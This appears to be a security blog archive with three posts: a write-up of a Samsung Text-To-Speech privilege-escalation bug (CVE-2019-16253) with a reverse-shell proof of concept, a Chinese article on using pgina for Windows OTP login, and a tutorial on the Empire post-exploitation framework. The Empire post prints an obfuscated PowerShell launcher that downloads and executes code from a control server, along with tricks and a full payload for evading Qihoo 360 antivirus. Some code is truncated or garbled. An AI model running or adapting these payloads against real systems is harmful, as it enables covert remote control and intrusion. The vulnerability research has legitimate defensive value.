Category Archives: Uncategorized

Text-To-Speech speaks pwned

Text-To-Speech engine is a default enabled module in all Android phones, and exists up to Android 1.5 HTC era, even acting as a selling point at that time. But various vendor implementations may lead to various interesting stuff, i.e. CVE-2019-16253, a seemly harmless language pack, or nearly any seemly benign application, without requring any permission, can obtain a persistent SYSTEM shell through the TTS bug (or feature?).

Vulnerability Briefing

TL;DR: Samsung TTS component (a.k.a SMT) is a privileged process running in system uid, responsible for managing the whole TTS functionality. It has a privilege escalation vulnerability (or feature?), which can be exploited by malicious applications to gain system-app privilege without requiring any permission or user interaction.


SMT application declares a exported receiver in$2, registered by SamsungTTSService->onCreate => LangPackMgr->init which accepts Intent with action The receiver blindly trusts incoming data supplied by SMT_ENGINE_PATH, and after some processing, LangPackMgr.updateEngine creates a thread which calls>reloadEngine which lead to a System->load, leading to arbitrary code execution in SMT itself. It at first glance seems unbelievable but it does actually exist, a typical local privilege escalation vulnerability.

What’s worth mentioning is that this vulnerability does not require manually starting the attacking application. With carefully crafted arguments, installing the seemly benign POC apk will trigger this vulnerability. Besides, as SMT will restart every registered library at boot time, attacker can silently obtain a persistent shell without user notice.

Imagine a malicious actor uploads a seemly normal application containing the exploitation code to each Android Application market. As the exploit does not require the application asking for any privilege, it’s very likely to evade the screening process of various markets. As long as users download and install it, a persistent system shell is given out to attacker. Attacker can use this privilege to sniff on SMS, call logs/recordings, contacts, photos, or even use it as a stepstone for further attacking other privileged components, like other system services and the kernel.

Vulnerability analysis

The corresponding vulnerable code is listed below, some omitted and renamed for better visibility:


class LangPackMgr$2 extends BroadcastReceiver {
    public void onReceive(Context arg10, Intent arg11) {
        int v7 = -1;
        if(arg11.getAction().equals("")) {
            int v0_1 = arg11.getIntExtra("SMT_ENGINE_VERSION", v7);
            String v2 = arg11.getStringExtra("SMT_ENGINE_PATH");
            if(v0_1 > SmtTTS.get().getEngineVersion() && (CString.isValid(v2))) {
                if(CFile.isExist(v2)) {
                    LangPackMgr.getUpdateEngineQueue(this.a).add(new LangPackMgr$UpdateEngineInfo(v0_1, v2));
                    CLog.i(CLog$eLEVEL.D, "LangPackMgr - Add candidate engine [%d][%s]", new Object[]{Integer.valueOf(v0_1), v2});
                else {
                    CLog.e("LangPackMgr - Invalid engine = " + v2);
            if(LangPackMgr.getTriggerPackageCount(this.a) != 0) {

            if(LangPackMgr.getUpdateEngineQueue(this.a).size() <= 0) {


After some checks, a new LangPackMgr.UpdateEngineInfo is added to the Queue. In doUpdateEngine,

    private void updateEngine() {
        if(this.mThreadUpdateEngine == null || !this.mThreadUpdateEngine.isAlive()) {
            this.mThreadUpdateEngine = new LangPackMgr$EngineUpdateThread(this, null);
        LangPackMgr$EngineUpdateThread(LangPackMgr arg1, LangPackMgr$1 arg2) {

    public void run() {
        if(LangPackMgr.getUpdateEngineQueue(this.a).size() <= 0) {

        try {
            v1 = LangPackMgr.getUpdateEngineQueue(this.a).poll();
            while(true) {
                if(LangPackMgr.getUpdateEngineQueue(this.a).size() <= 0) {
                    goto label_20;

                v0_1 = LangPackMgr.getUpdateEngineQueue(this.a).poll();
            if(v1 != null && ((LangPackMgr$UpdateEngineInfo)v1).VERSION > SmtTTS.get().getEngineVersion()) {
                if(SmtTTS.get().reloadEngine()) {
    public boolean reloadEngine() {
        try {
            String v0_2 = CHelper.get().INSTALLED_ENGINE_PATH();
            if(CString.isValid(v0_2)) {
                System.load(v0_2); //<- triggers load
            else {
                goto label_70;

SmtTTS.reloadEngine finally reaches System.load, with the path supplied in Intent.

To successfully reach this code path, some conditions should be met for the attacking Intent sent out, which is listed as follows:

  • SMT_ENGINE_VERSION in Intent should be larger than the embeded version (361811291)
  • mTriggerCount should be first increased. This can be achieved by supplying a package name begins with As mentioned above, registers two receivers, one of which will scan for this package prefix and increase the mTriggerCount for us.

One problem still exists though. As I stated above, triggering this vulnerability does not require starting the attacking app. How is this fulfilled?

It turns out SMT does this job for us. The code piece in SMT that calls our attacking service without user interaction is as follows:

class LangPackMgr$1 extends BroadcastReceiver {
    LangPackMgr$1(LangPackMgr arg1) {
        this.a = arg1;

    public void onReceive(Context arg4, Intent arg5) {
        String v0 = arg5.getAction();
        String v1 = arg5.getData().getSchemeSpecificPart();
        if(((v0.equals("android.intent.action.PACKAGE_ADDED")) || (v0.equals("android.intent.action.PACKAGE_CHANGED")) || (v0.equals("android.intent.action.PACKAGE_REMOVED"))) && (v1 != null && (v1.startsWith("")))) {
    private void triggerLanguagePack() {
        if(this.mThreadTriggerLanguagePack == null || !this.mThreadTriggerLanguagePack.isAlive()) {
            this.mThreadTriggerLanguagePack = new LangPackMgr$LanguagePackTriggerThread(this, null);

The checking thread reaches here:


class LangPackMgr$LanguagePackTriggerThread extends Thread {

    public void run() {
        Object v0_1;
        HashMap v3 = new HashMap();
        HashMap v4 = new HashMap();
        try {
            Iterator v5 = LangPackMgr.f(this.langpackmgr).getPackageManager().getInstalledPackages(0x2000).iterator();
            while(true) {
                if(!((PackageInfo)v0_1).packageName.startsWith("")) {

        catch(Exception v0) {
            goto label_53;

        try {
            Intent v1_1 = new Intent(((PackageInfo)v0_1).packageName);

SMT has some requirements for the loaded library (it should look like an language pack… implements some interfaces), which can be resolved by reversing the default library.

So the whole attack flows as below:


Step to reproduce with the provided POC

A demo video shows the POC of getting system shell.

If you want to change the remote IP and port for the reverse shell, please modify solib/jni/libmstring/mstring.c

    ip = "172.16.x.x";

To your own service addr. You will need to rebuild the project (run ndk-build in solib directory, copy the arm64-v8a/ to the APK project (src/main/jniLibs/arm64-v8a/) and rebuild the APK.

Also, monitoring the logcat reveals the following output:

➜  ~ adb logcat | grep -i SamsungTTS
 21:27:09.851 16662 16662 I SamsungTTS: Init CHelper
 21:27:09.908 16662 16662 I SamsungTTS: Success to load EMBEDDED engine.
 21:27:09.980 16662 16662 I SamsungTTS: Empty install voice data : STUB_IDLE
 21:27:10.001 16662 16684 I SamsungTTS: Request check version [82]
 21:27:10.044 16662 16684 E SamsungTTS: Invalid response. request=82 receive=0
 21:27:17.155 16662 16885 I SamsungTTS: Success to reload INSTALLED engine.
 21:27:17.155 16662 16885 I SamsungTTS: Restart engine...
Which shows the malicious engine is loaded, and output from the malicious engine library printing it’s uid 
➜  ~ adb logcat | grep -i mercury
 16:29:48.816 24289 24317 E mercury-native: somehow I'm in the library yah, my uid is 1000
 16:29:48.885 24318 24318 E mercury-native: weasel begin connect
Which shows our library is running in the SMT context and as system uid.

The full POC will be available shortly at


This vulnerability has been reported to Samsung Mobile Security Rewards Program and rated High. Vendor has already published fix through Galaxy Appstore and others. Updated Samsung Text-To-Speech application to following versions in corresponding markets, and examine any previously installed application with package name starts with

For all Samsung devices:

  • Android N,O or older systems, please update SMT to or higher
  • Android P, please update SMT to or higher

This issue is assigned CVE-2019-16253.


无论是否情愿,并不是每家公司都能像Google一样在办公体系中完全移除了域控的(大部分)存在感,域仍然是安全人员觉得微妙的存在。 一方面各种域策略、账户的可视化配置方便了大部分企业的IT桌面支持人员在初创阶段做无脑配置,然而另一方面,域控天生与新时代ZeroTrust理念是无法完美契合的。最大的槽点不在于认证源仅仅只有固定密码可选(据传新的Windows Server终于将开始引入OTP,以及Azure AD在某种程度上是支持的),此外其他域提供的各种管理功能在现代互联网企业Linux+开源组件定制化的大技术栈下同样显得格格不入。


一种显而易见的体系化改造是直接通过Windows Credential Provider提供的接入能力,改造认证源,取代Windows原有的认证能力,而本文将介绍的pgina就是其中的一个成熟的开源方案,pgina是一个开源的Windows Credential Provider认证框架,通过各种C#形式的插件,我们可以定制Windows的认证流程,取代传统的密码认证流程,与统一认证源完成打通,在某种程度上实现大一统SSO的梦想。


pgina最早由David Wolff等开发并开源,借助Windows的Credential Provider体系,实现了ICrendtialProvider接口,实现了认证流程的定制。mutonufoai维护了一个fork版本,是目前比较活跃的分支。

简单来说,在安装了pgina之后,我们可以在认证流中插入自定义的环节,Pgina原生提供了多种开箱即用的插件,通过这些插件与外部认证源打通。例如,我们可以通过自定义的Radius认证服务器或者通过http auth插件,来实现对OTP登录的支持,甚至更细粒度的控制。



pgina认证流程区分为Authentication – Authorization – Gateway三个阶段。其中,Authentication阶段用于证明该用户提供的认证凭据是否正确,而Authorization阶段则决定该用户在凭据正确的情况下,其是否可以登录(例如只有某一个特定组的用户可以登录),Gateway阶段则更类似于认证通过之后的回调。例如在众多插件中,LocalMachine代表了该机器上的native认证,如果其他插件认证通过的用户在本机上不存在,则LocalMachine插件默认会在Gateway阶段创建对应的用户。当然,这个行为都是可配置的。


在有了这些基础知识之后,我们就可以通过插件连接到自定义的radius server,来对Windows开启OTP认证支持。受到Windows UI限制,用户可将OTP追加在其原始密码之前或之后,整体的流程如下图所示。



  1. 内置插件可用于快速测试功能,但在可用性上没有太多考虑,radius插件本身在高频使用中存在一些问题,建议根据其架构自行实现插件,通过自定义的认证协议与远端认证接口进行联调和实现
  2. 开启了插件认证的机器在被远程桌面时(如果允许远程桌面),远程桌面客户端侧需要关闭默认的网络级别验证,因为Network Level Authentication并不支持自定义的credential provider。关闭NLA并不会带来认证方式上的安全问题(例如hash被抓取之类的)
  3. pgina原版具有调试功能,但调试功能较为难用,建议通过log形式调试,pgina.fork并不支持调试。插件主要为C#语言编写,需要对C#有一定的了解。




注:该文已授权首发于 跳跳糖:

Testing Empire as post-exploitation framework in domain environment

Testing Empire as post-exploitation framework in domain environment

Due to recent research on Red-Blue Team Operations, I became interested in various post-exploitation framework. Since the widely adoption of powershell which is shipped by default in Windows 7 and Windows 10, it has become a popular stager for pen-testers and red team. The following article will describe one of the popular framework called Empire ( with 3000+ stars, and how to use it on a typical workstation with AV installed.


The installation of Empire is quite simple. You can choose the docker approach, or install it on a host instance.

For installation steps on a host instance, follow the commands as below:

git clone cd Empire && sudo ./setup/

In a Debian-flavor environment the installation usually contains apt-update and adding some apt-source. So be patient.

The following steps are all based on Ubuntu 16.04.1. Some windows compilation are done on a Windows Server 2016 with Visual Stuido


Go to the install directory of empire and type sudo ./empire to get started.



The currently supported listeners in Empire are

(Empire: listeners) > uselistener
dbx http_com http_hop meterpreter redirector 
http http_foreign http_mapi onedrive 
(Empire: listeners) > uselistener http
(Empire: listeners/http) > ?

Listener Commands
agents Jump to the agents menu.
back Go back a menu.
creds Display/return credentials from the database.
execute Execute the given listener module.
exit Exit Empire.
help Displays the help menu.
info Display listener module options.
launcher Generate an initial launcher for this listener.
listeners Jump to the listeners menu.
main Go back to the main menu.
resource Read and execute a list of Empire commands from a file.
set Set a listener option.
unset Unset a listener option.

(Empire: listeners/http) > info

Name: HTTP[S]
Category: client_server


Starts a http[s] listener (PowerShell or Python) that uses a
GET/POST approach.

HTTP[S] Options:

Name Required Value Description
---- -------- ------- -----------
SlackToken False Your SlackBot API token to communicate with your Slack instance.
ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
KillDate False Date for the listener to exit (MM/dd/yyyy).
Name True http Name for the listener.
Launcher True powershell -noP -sta -w 1 -enc Launcher string.
DefaultDelay True 5 Agent delay/reach back interval (in seconds).
DefaultLostLimit True 60 Number of missed checkins before exiting
WorkingHours False Hours for the agent to operate (09:00-17:00).
SlackChannel False #general The Slack channel or DM that notifications will be sent to.
DefaultProfile True /admin/get.php,/news.php,/login/ Default communication profile for the agent.
process.php|Mozilla/5.0 (Windows
NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko
Host True Hostname/IP for staging.
CertPath False Certificate path for https listeners.
DefaultJitter True 0.0 Jitter in agent reachback interval (0.0-1.0).
Proxy False default Proxy to use for request (default, none, or other).
UserAgent False default User-agent string to use for the staging request (default, none, or other).
StagingKey True JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7 Staging key for initial agent negotiation.
BindIP True The IP to bind to on the control server.
Port True 80 Port for the listener.
ServerVersion True Microsoft-IIS/7.5 Server header for the control server.
StagerURI False URI for the stager. Must use /download/. Example: /download/stager.php

To maintain stealth against various network traffic monitoring, it is recommended to use http based listeners as it will only appear as normal http traffic.

The required options for http-base listeners are Host, Name and Port

(Empire: listeners/http) > set Name http1
(Empire: listeners/http) > set Port 81
(Empire: listeners/http) > execute
[*] Starting listener 'http1'
[+] Listener successfully started!

For example, a http listener’s traffic may looks like below:

(Empire) > listeners

[*] Active listeners:

Name Module Host Delay/Jitter KillDate
---- ------ ---- ------------ --------
http http http://172.16.x.x:80 5/0.0


After we created a listener, we need something to wrap the connection, named stager. Empire provides different stagers for different platform.

The simplest stager is a direct powershell command on Windows:

(Empire: listeners) > launcher powershell http

Which is the core of all other payloads. You can directly paste it in a command prompt to test it out if you’re curious. On other platforms, similar logic is implemented with Python.

(Empire: listeners) > usestager 
multi/bash osx/dylib windows/backdoorLnkMacro windows/launcher_sct
multi/launcher osx/jar windows/bunny windows/launcher_vbs
multi/macro osx/launcher windows/csharp_exe windows/launcher_xml
multi/pyinstaller osx/macho windows/dll windows/macro
multi/war osx/macro windows/ducky windows/macroless_msword
osx/applescript osx/pkg windows/hta windows/shellcode
osx/application osx/safari_launcher windows/launcher_bat windows/teensy
osx/ducky osx/teensy windows/launcher_lnk 

Empire currently supports stagers listed above. You can test different windows stagers. When you choose a stager, use options to fill in the required attribute. Example goes below:

(Empire: listeners) > usestager multi/pyinstaller
(Empire: stager/multi/pyinstaller) > options

Name: pyInstaller Launcher

Generates an ELF binary payload launcher for
Empire using pyInstaller.


Name Required Value Description
---- -------- ------- -----------
Language True python Language of the stager to generate.
SafeChecks True True Switch. Checks for LittleSnitch or a
SandBox, exit the staging process if
true. Defaults to True.
Base64 True False Switch. Base64 encode the output.
Defaults to False.
Listener True Listener to generate stager for.
UserAgent False default User-agent string to use for the staging
request (default, none, or other).
BinaryFile True /tmp/empire File to output launcher to.

(Empire: stager/multi/pyinstaller) > set Listener http1
(Empire: stager/multi/pyinstaller) > execute

Sample payload analysis

Let’s now have a brief view on the launcher metasploit script Empire generates.

The first IF script block is a trick to disable powershell logging to bypass Windows Defenders analysis, which is quite popular abroad. I will not elaborate on this here and you can refer to citation documents. Windows defender employs a per-statement detection approach, while some domestic AVs will step further to block powershell directly if certain keywords are found.

$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; 
$WC.ProxY.CreDEnTials = [SySTEm.NET.CreDenTIalCache]::DeFAUltNETWOrkCReDentIALs;
$Script:Proxy = $wc.Proxy;
$K= [SYStEm.TeXT.ENCodiNG]::ASCII.GEtBytES('JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7');
} };

-joIN[ChAr[]](& $R $datA ($IV+$K))|IEX"

The followed block is the functional block. First, the script tries to establish a HTTP connection to control server. An IV is retrieved from response data (first four bytes). A hardcoded key will later be used to decrypt the function body. Notice the block defines a variable $R which kinda like lambda function. At the last line, $data and $IV+$K is passed into the lambda acting as $D, $K . The decryption result char array is joined and passed to IEX , i.e. Invoke-Expression

Sample Modules

Empire comes with quite some useful modules, in which bounded mimikatz module can be used to extract password and hash tokens, and privilege escalation modules can be used to elevate privilege to local admin or even domain admin.

AV bypass

Qihoo 360

When you directly paste the payload into cmd, it easily get blocked by Qihxx, indicating "powershell.exe is trying to execute". Besides process monitoring, I believe 360 also use script keyword detection to reduce false positives. However, as powershell is a very flexible language, it’s not easy to filter all malicious requests.

By binary search we deduced the keywords are

  • -enc command line in powershell arguments. E.g, powershell -enc aaa will be blocked by 360.
  • downloadData in powershell script will be detected and blocked by 360.
  • A statement is not permitted to have two or more plus signs. E.g. $a+$b;$b+$c will be blocked by 360.

All these methods have some ways to bypass.

  • For the first condition requirement, you can just simple drop the enc command argument
  • For the second requirement, note that we can use string as method node in powershell. I.e. $c="downl"+"oadData";$a.$c.invoke($bla)
  • For the third requirement, we can simply use $a-(-$b);$b-(-$c)


Full powershell code to bypass 360

"[SYsTem.NET.SErvIcePOInTMANAgER]::EXPecT100CONtiNuE=0;$WC=NEW-OBjECT SYstem.NeT.WEBCliENt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)
like Gecko';$WC.HeAdErS.Add('User-Agent',$u);$WC.PRoxY= [SYStem.NEt.WEbREqUEsT]::DEfaulTWEBPrOxY;$WC.ProxY.CreDEnTials = [SySTEm.NET.CreDenTIalCache]::DeFAUltNETWOrkCReDentIALs;$Script:Proxy = $wc.Proxy;$K= [SYStEm.TeXT.ENCodiNG]::ASCII.GEtBytES('JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7');$R= {$D,$K=$ArgS;$S=0..255;0..255|%{$J=($J-(-$S[$_])- (-$K[$_%$K.CoUnt]))%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H= ($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_- bXoR$S[($S[$I]+$S[$H])%256]}};$ser='';$t='/news.php';$Wc.HEaDERs.AD joIN[ChAr[]](& $R $datA ($IV+$K))|IEX"